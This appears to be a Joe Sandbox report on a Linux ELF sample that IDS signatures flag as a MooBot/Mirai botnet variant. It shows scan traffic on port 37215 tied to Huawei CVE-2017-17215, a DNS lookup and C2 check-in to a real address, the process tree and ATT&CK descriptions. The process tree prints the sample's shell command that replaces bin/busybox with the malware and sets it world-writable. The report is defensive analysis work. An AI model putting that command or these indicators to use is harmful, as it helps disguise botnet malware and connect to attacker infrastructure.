Mar 20, 2023 16:24:46.210478067 CET	48657	37215	192.168.2.23	41.118.34.121
Mar 20, 2023 16:24:46.210516930 CET	48657	37215	192.168.2.23	157.78.189.30
Mar 20, 2023 16:24:46.210522890 CET	48657	37215	192.168.2.23	157.15.127.236
Mar 20, 2023 16:24:46.210555077 CET	48657	37215	192.168.2.23	41.131.10.99
Mar 20, 2023 16:24:46.210712910 CET	48657	37215	192.168.2.23	41.61.64.252
Mar 20, 2023 16:24:46.210714102 CET	48657	37215	192.168.2.23	157.111.133.122
Mar 20, 2023 16:24:46.210726023 CET	48657	37215	192.168.2.23	41.16.214.196
Mar 20, 2023 16:24:46.210726023 CET	48657	37215	192.168.2.23	197.30.228.75
Mar 20, 2023 16:24:46.210733891 CET	48657	37215	192.168.2.23	157.106.68.220
Mar 20, 2023 16:24:46.210755110 CET	48657	37215	192.168.2.23	41.24.146.209
Mar 20, 2023 16:24:46.210788012 CET	48657	37215	192.168.2.23	197.203.174.125

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 20, 2023 16:24:46.162062883 CET	192.168.2.23	8.8.8.8	0xdcc8	Standard query (0)	test.zxyes.xyz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 20, 2023 16:24:46.186434984 CET	8.8.8.8	192.168.2.23	0xdcc8	No error (0)	test.zxyes.xyz		195.133.40.202	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: mbl5k2b7z8.elf PID: 6231, Parent PID: 6130

General

Start time:	16:24:45
Start date:	20/03/2023
Path:	/tmp/mbl5k2b7z8.elf
Arguments:	/tmp/mbl5k2b7z8.elf
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Analysis Process: mbl5k2b7z8.elf PID: 6233, Parent PID: 6231

General

Start time:	16:24:45
Start date:	20/03/2023
Path:	/tmp/mbl5k2b7z8.elf
Arguments:	n/a
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Analysis Process: sh PID: 6233, Parent PID: 6231

General

Start time:	16:24:45
Start date:	20/03/2023
Path:	/bin/sh
Arguments:	sh -c "rm -rf bin/busybox && mkdir bin; >bin/busybox && mv /tmp/mbl5k2b7z8.elf bin/busybox; chmod 777 bin/busybox"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Analysis Process: sh PID: 6235, Parent PID: 6233

General

Start time:	16:24:45
Start date:	20/03/2023
Path:	/bin/sh
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Analysis Process: rm PID: 6235, Parent PID: 6233

General

Start time:	16:24:45
Start date:	20/03/2023
Path:	/usr/bin/rm
Arguments:	rm -rf bin/busybox
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Analysis Process: sh PID: 6236, Parent PID: 6233

General

Start time:	16:24:45
Start date:	20/03/2023
Path:	/bin/sh
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Analysis Process: mkdir PID: 6236, Parent PID: 6233

General

Start time:	16:24:45
Start date:	20/03/2023
Path:	/usr/bin/mkdir
Arguments:	mkdir bin
File size:	88408 bytes
MD5 hash:	088c9d1df5a28ed16c726eca15964cb7

Analysis Process: sh PID: 6237, Parent PID: 6233

General

Start time:	16:24:45
Start date:	20/03/2023
Path:	/bin/sh
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Analysis Process: mv PID: 6237, Parent PID: 6233

General

Start time:	16:24:45
Start date:	20/03/2023
Path:	/usr/bin/mv
Arguments:	mv /tmp/mbl5k2b7z8.elf bin/busybox
File size:	149888 bytes
MD5 hash:	504f0590fa482d4da070a702260e3716

Analysis Process: sh PID: 6238, Parent PID: 6233

General

Start time:	16:24:45
Start date:	20/03/2023
Path:	/bin/sh
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Analysis Process: chmod PID: 6238, Parent PID: 6233

General

Start time:	16:24:45
Start date:	20/03/2023
Path:	/usr/bin/chmod
Arguments:	chmod 777 bin/busybox
File size:	63864 bytes
MD5 hash:	739483b900c045ae1374d6f53a86a279

Analysis Process: mbl5k2b7z8.elf PID: 6239, Parent PID: 6231

General

Start time:	16:24:45
Start date:	20/03/2023
Path:	/tmp/mbl5k2b7z8.elf
Arguments:	n/a
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Analysis Process: mbl5k2b7z8.elf PID: 6241, Parent PID: 6239

General

Start time:	16:24:45
Start date:	20/03/2023
Path:	/tmp/mbl5k2b7z8.elf
Arguments:	n/a
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Analysis Process: mbl5k2b7z8.elf PID: 6243, Parent PID: 6239

General

Start time:	16:24:45
Start date:	20/03/2023
Path:	/tmp/mbl5k2b7z8.elf
Arguments:	n/a
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Source: mbl5k2b7z8.elf	ReversingLabs: Detection: 64%
Source: mbl5k2b7z8.elf	Virustotal: Detection: 59%			Perma Link

Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:36176 -> 195.133.40.202:56999
Source: Traffic	Snort IDS: 2030489 ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response 195.133.40.202:56999 -> 192.168.2.23:36176
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:60670 -> 163.18.94.240:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:33478 -> 41.37.71.18:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:54264 -> 34.128.181.63:37215

Source: global traffic	TCP traffic: 197.4.207.53 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.203.171.49 ports 1,2,3,5,7,37215

Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80

Source: unknown	TCP traffic detected without corresponding DNS query: 54.134.165.245
Source: unknown	TCP traffic detected without corresponding DNS query: 41.254.115.250
Source: unknown	TCP traffic detected without corresponding DNS query: 41.170.162.96
Source: unknown	TCP traffic detected without corresponding DNS query: 41.166.16.10
Source: unknown	TCP traffic detected without corresponding DNS query: 197.107.9.134
Source: unknown	TCP traffic detected without corresponding DNS query: 157.32.148.201
Source: unknown	TCP traffic detected without corresponding DNS query: 41.178.9.75
Source: unknown	TCP traffic detected without corresponding DNS query: 41.34.158.157
Source: unknown	TCP traffic detected without corresponding DNS query: 197.106.57.232
Source: unknown	TCP traffic detected without corresponding DNS query: 157.232.100.171
Source: unknown	TCP traffic detected without corresponding DNS query: 197.203.30.151
Source: unknown	TCP traffic detected without corresponding DNS query: 157.156.3.203
Source: unknown	TCP traffic detected without corresponding DNS query: 27.233.42.33
Source: unknown	TCP traffic detected without corresponding DNS query: 197.101.95.145
Source: unknown	TCP traffic detected without corresponding DNS query: 157.242.17.129
Source: unknown	TCP traffic detected without corresponding DNS query: 41.36.237.157
Source: unknown	TCP traffic detected without corresponding DNS query: 41.250.155.229
Source: unknown	TCP traffic detected without corresponding DNS query: 157.49.109.56
Source: unknown	TCP traffic detected without corresponding DNS query: 157.44.109.50
Source: unknown	TCP traffic detected without corresponding DNS query: 41.166.175.84
Source: unknown	TCP traffic detected without corresponding DNS query: 197.197.193.126
Source: unknown	TCP traffic detected without corresponding DNS query: 197.107.138.203
Source: unknown	TCP traffic detected without corresponding DNS query: 197.146.104.254
Source: unknown	TCP traffic detected without corresponding DNS query: 192.249.108.179
Source: unknown	TCP traffic detected without corresponding DNS query: 157.245.51.226
Source: unknown	TCP traffic detected without corresponding DNS query: 41.83.159.7
Source: unknown	TCP traffic detected without corresponding DNS query: 197.8.67.166
Source: unknown	TCP traffic detected without corresponding DNS query: 197.184.27.146
Source: unknown	TCP traffic detected without corresponding DNS query: 197.199.223.14
Source: unknown	TCP traffic detected without corresponding DNS query: 41.39.108.89
Source: unknown	TCP traffic detected without corresponding DNS query: 197.71.2.245
Source: unknown	TCP traffic detected without corresponding DNS query: 41.107.179.6
Source: unknown	TCP traffic detected without corresponding DNS query: 89.178.40.44
Source: unknown	TCP traffic detected without corresponding DNS query: 157.155.222.138
Source: unknown	TCP traffic detected without corresponding DNS query: 197.100.131.123
Source: unknown	TCP traffic detected without corresponding DNS query: 119.74.171.97
Source: unknown	TCP traffic detected without corresponding DNS query: 144.113.192.15
Source: unknown	TCP traffic detected without corresponding DNS query: 157.65.94.47
Source: unknown	TCP traffic detected without corresponding DNS query: 31.109.180.222
Source: unknown	TCP traffic detected without corresponding DNS query: 41.244.140.6
Source: unknown	TCP traffic detected without corresponding DNS query: 157.216.3.85
Source: unknown	TCP traffic detected without corresponding DNS query: 197.62.217.138
Source: unknown	TCP traffic detected without corresponding DNS query: 157.169.120.73
Source: unknown	TCP traffic detected without corresponding DNS query: 8.81.35.171
Source: unknown	TCP traffic detected without corresponding DNS query: 197.160.88.131
Source: unknown	TCP traffic detected without corresponding DNS query: 157.242.118.254
Source: unknown	TCP traffic detected without corresponding DNS query: 197.199.33.234
Source: unknown	TCP traffic detected without corresponding DNS query: 197.79.11.2
Source: unknown	TCP traffic detected without corresponding DNS query: 197.174.229.247
Source: unknown	TCP traffic detected without corresponding DNS query: 197.193.62.108

Source: mbl5k2b7z8.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: mbl5k2b7z8.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Linux Analysis Report mbl5k2b7z8.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: mbl5k2b7z8.elf PID: 6231, Parent PID: 6130

General

Analysis Process: mbl5k2b7z8.elf PID: 6233, Parent PID: 6231

General

Analysis Process: sh PID: 6233, Parent PID: 6231

General

Analysis Process: sh PID: 6235, Parent PID: 6233

General

Analysis Process: rm PID: 6235, Parent PID: 6233

General

Analysis Process: sh PID: 6236, Parent PID: 6233

General

Analysis Process: mkdir PID: 6236, Parent PID: 6233

General

Analysis Process: sh PID: 6237, Parent PID: 6233

Linux Analysis Report
mbl5k2b7z8.elf